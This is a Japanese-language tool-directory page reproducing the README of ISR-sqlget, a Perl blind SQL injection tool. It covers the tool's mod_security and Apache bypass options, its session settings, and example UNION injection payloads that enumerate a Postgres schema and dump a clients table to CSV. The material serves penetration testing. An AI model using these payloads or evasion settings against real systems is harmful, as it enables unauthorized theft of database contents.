Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
isr-sqlget — ISR-sqlget これはPerlで開発されたブラインドSQLインジェクションツールです。 | Kitploit
ツール/GitHubGitHub/infobyte/isr-sqlget
脆弱性分析ウェブアプリケーション悪用ペネトレーションテストデータベースセキュリティ
GitHubinfobyte/isr-sqlget

isr-sqlget

ISR-sqlget これはPerlで開発されたブラインドSQLインジェクションツールです。

リポジトリを見る
141413年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

-- ISR - Infobyte セキュリティリサーチ -- | ISR-sqlget | www.infobytesec.com |

..:: 説明

ISR-sqlget: Perlで開発されたブラインドSQLインジェクションツールです。 データベーススキーマとテーブル行を取得できます。 単一のGET/POSTを使用して、データベース構造に静かにアクセスできます。 また、単一のGET/POSTを使用して、すべてのテーブル行をCSV形式のファイルにダンプできます。

サポートされているデータベース:

root@kitploit:~
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)    
- SQLBase (http://www.unify.com)

回避機能:

root@kitploit:~
- 全角/半角Unicodeエンコード
- Apacheの非標準CRバイパス
- mod_securityバイパス
- ランダム大文字リクエスト変換
- PHP Magicquotes: 各文字列をデータベースのCHR関数などでエンコード
- リクエストを16進数値に変換
- /**/ や (\t) タブの非スペース置換を回避
- || や + 以外の結合をデータベースのconcat関数などで回避
- ランダムUser-Agent
- ランダムプロキシサーバー
- ランダム遅延リクエスト

共通機能:

root@kitploit:~
- データベーススキーマダウンロードブラックリスト
- Cookie配列対応
- SSL対応
- プロキシサーバー対応
- データベース情報をCSV形式でダンプ

レポート:

root@kitploit:~
- インパクトのあるエグゼクティブレポートを作成するためのデータベース構造のグラフ化
require Graphviz library (http://www.graphviz.org/)

..:: 使用方法

このツールには次の情報が必要です:

  • : 実行するアクション?
  • : セッション名?

可能なアクションは次のとおりです:

root@kitploit:~
最初:
1. データベーススキーマを取得。

次に:
2.a テーブル行を取得(CSV形式)。
2.b データベーススキーマのグラフィックを取得。

..:: 例:

ターゲット: http://target.infobytesec.com/helloworld.php?id=

helloworld.php ソース:

"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>

セッションの例(設定ファイル)を読む: ./helloworld.pm

データベーススキーマを取得:

; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; アクション: dbschemaを取得, セッション名: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#

これにより、ローカルスキーマファイルが次の場所に生成されます: ./template/helloworld.dbschema

次にテーブル行を取得:

; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;アクション: DBDATAを取得, セッション名: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;アクション: DBDATAを取得, セッション名: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;ソーステーブルを保存: ./datos/helloworld.company.clients.sql.html ;CSVテーブルを保存: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....

ディレクトリ "./datos/" には、テーブルごとに次の2つのファイルが作成されます:

[sessionname].[database].[table].sql.html # HTMLソース [sessionname].[database].[table].csv # カンマ区切り値

"./datos" はセッション設定ファイルの $conf::outputdb パラメータで指定できます。

..:: 高度な設定

このツールはSELECT SQLクエリにおいて、text/varchar等の1つのカラム型のみ使用します。 UNION文を使用して、"[__]"を区切り文字としてそのカラム内のすべてのデータベーススキーマを取得できます。

ローカルデータベーススキーマを既に保存している場合、次のことが可能です:

1.a テーブル行を取得: 同じ手法を使用して、データベース内のすべてのテーブルのすべての行を取得できます。テキストと互換性のないデータ型のカラムは、データベース独自の関数を使用してテキスト型に変換されます。

1.b データベーススキーマのグラフィックを取得。

このツールは各アクションに対してセッション設定ファイルを使用します。 この設定ファイルはSQLインジェクションを悪用するために必要なパラメータを定義します。 パラメータ @conf::path は、ツールが生HTMLを解析する方法を指定します。

ヘルプ詳細:

Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]

Action: -c: パーサーモジュールをチェック -t: テストページを取得 -a: すべてのデータベース名を取得(MSSQLのみ) -s: データベースの構造を取得 -d: データベースの情報を取得(CSV形式) -g: データベースのグラフィック構造(GIF形式)

Options: -n: セッション名 -p:(-cアクションと併用、モジュールをチェックするためのソースページを指定); デフォルト ./template/$SESSION.testpage -v: 詳細表示 -h: ヘルプ

-t: セッションファイルを使用して、後でアクション「-c」で生HTMLをパースするための短いデータシステムテーブルを取得します。 -c: デフォルトでは ./template/[session-name].testpage を使用します。生HTMLパーサーの開発とテストに使用します。 「-p」オプションで別のHTMLファイルを選択できます。

-a: すべてのDBエンジンは以下の順序でテーブル行を取得します: 1. 「-s」で構造を取得(データベーススキーマをローカルファイルに保存)。 2. 「-d」でテーブルデータを取得。

root@kitploit:~
MSSQLシステムテーブルのため、以下の事前手順を追加する必要があります:
1. 「-a」でデータベース/スキーマ/カタログのすべてのデータベース名を取得(名前をローカルファイルに保存)。
2. 「-s」で構造を取得(データベーススキーマをローカルファイルに保存)。
3. 「-d」でテーブルデータを取得。

-s: 構造を取得(データベーススキーマをローカルファイルに保存)。
-d: テーブルデータを取得。

-g: 前に取得したローカルデータベーススキーマファイルを使用して、データベースのグラフィックスキーマを取得(GIF形式)。

-n: セッション設定ファイルの名前を指定します。

..:: 注意事項

./pmschanges.txt: 修正バージョンのLWP、Net::HTTPを使用しています。このファイルは修正内容を説明しています。

./dbs/isr_*: 各データベースモジュールには @space 変数があり、有効な空白の種類を指定します。 例: my @space=(' ',"\t","/**/"); #すべての空白

..:: セッションファイルオプション:

@conf::path #パラメータ @conf::path は、ツールが生HTMLを解析する方法を指定します。 #HTML::TreeBuilderを使用した埋め込みPerlコードを使用して生HTMLをパースします。 #最初の設定は、必要なHTMLタグ名のツリー配列です。 最後のHTMLタグ名はPerlコードで処理されます。

./examples/ の例を参照してください。 example[n].html session[n].pm

$conf::site #脆弱なアプリケーションがあるサイト

$conf::script #脆弱なスクリプトファイル

$conf::method #メソッド 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (apache method bypass)

$conf::inj #UNION文を含むPOST/GETパラメータ #後で動的情報に置き換えられる変数を使用します。

root@kitploit:~
変数:
<VALUE> = すべての情報を取得するために使用するカラム。
<TABLE> = テーブルセクション。
<WHERE> = WHEREセクション。
<TAIL>  = SQL文の最終部分。

例: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";

$conf::where #UNIONテーブルに例外を追加する必要がある場合に使用します。 #一部のデータベース構造クエリには "WHERE" が含まれているため、このパラメータが必要です。

$conf::tail #SQL文の最終部分。 $conf::param #パラメータスタイル = Post形式 1, URL形式 0 Post形式= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa

root@kitploit:~
URL形式:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0

$conf::dbtype #データベースバックエンド

root@kitploit:~
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql    
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)    
7 - Mimer (www.mimer.com)    
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)    
10 - Hsqldb (www.hsqldb.org)    
11 - SQLite    
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)    
20 - SQLBase (http://www.unify.com)

$conf::session #セッション名(セッション設定ファイルの .pm 拡張子を除いた同じ名前を使用) $conf::outputdb #ダンプしたテーブル行のパス

######### プロキシ $conf::proxy_host #プロキシサポート例: 'http://user:pass@host:port/'; $conf::rproxy #ランダムプロキシ 1で有効、0で無効 $conf::rproxyfile #プロキシランダムファイル($conf::proxy_host と同じ形式を使用)

######### フィルター $conf::space #空白回避: 0で空白有効、1で空白 ' ' をタブ '\t' に置換、 #2で空白 ' ' をコメント '/**/' に置換

$conf::apache_espace #HTTP/sリクエスト内のCR値を指定可能

#例:

有効なApache CR (\x0b, \x0c, \x0d,)

$conf::apache_espace="\x0b,\x0c"; #init=\x0b and end=\x0c

GET/POST/XXX HTTPリクエストを "GET\x0b/script.php\x0cHTTP/1.0" として処理

$conf::apache_espace_rnd=1; #CR(0x0b, 0x0c, 0x0d)のランダム組み合わせ $conf::apache_espace_rmaxn=10; #最大ランダム文字数 #この例では、CR(0x0b, 0x0c, 0x0d)を1から10までランダム化します: #参照: http://www.osvdb.org/25837

$conf::mod_security #1でmodsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) のバイパスを有効 #参照: http://www.php-security.org/MOPB/BONUS-12-2007.html

$conf::full_width #1で全角エンコードバイパスを有効 $conf::ruseragent #1でランダムUser-Agent使用を有効 $conf::ruseragentfile #User-Agentファイルリスト $conf::uagent #デフォルトUser-Agent $conf::delay #接続間の遅延 $conf::rdelay #1で接続間の最大遅延をランダムに有効化。最大値として $conf::delay を使用 $conf::magicquotes #1でmagicquotes回避を有効(各データベースでCHR関数などを使用) $conf::convertall_hex #1ですべてのパラメータ値を16進形式に変換(%41,%61) $conf::rnd_uppercase #1で大文字ランダム変換を有効

######## MSSQL専用フィルター $conf::scape_plas #1で有効。スクリプトが '+' を受信できない場合にCONCAT関数を使用(文字列連結として使用) $conf::convertall_str #1で全カラムを文字列に変換(推奨) $conf::scape_output_less #1で有効。スクリプトが '|' を送信できない場合にデータベース関数で置換

######## Oracle/DB2/Virtuoso/H2/Mckoi/Ingres/MonetDB/MaxDB/ThinkSQL専用フィルター $conf::scape_pipe #スクリプトが '|' を受信できない場合にCONCAT関数などを使用(文字列連結として使用)

ハッシュ取得拒否

$conf::deny_dbname #処理しないデータベース名の配列(ブラックリスト) 例の値 = {'WMSYS' => 1, 'SYS' => 1 };

#Cookie $conf::cookie #1でCookie配列を有効 @conf::cookies #使用するCookieの配列 例の値 = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });

#グラフィックオプション(詳細はGraphViz Perlモジュールのヘルプを参照) $conf::graphdir = './graph/'; #グラフィックファイルの出力先ディレクトリ $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0=カラムをグラフ化しない 1=カラムをグラフ化

..:: 必要条件

1 - Perlモジュール: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz

2 - ライブラリ GraphVizプロジェクト (http://www.graphviz.org/)

..:: ダウンロード

http://www.infobytesec.com/development.html

..:: 著者 Francisco Amato famato+at+infobytesec+dot+com

ツールをダウンロード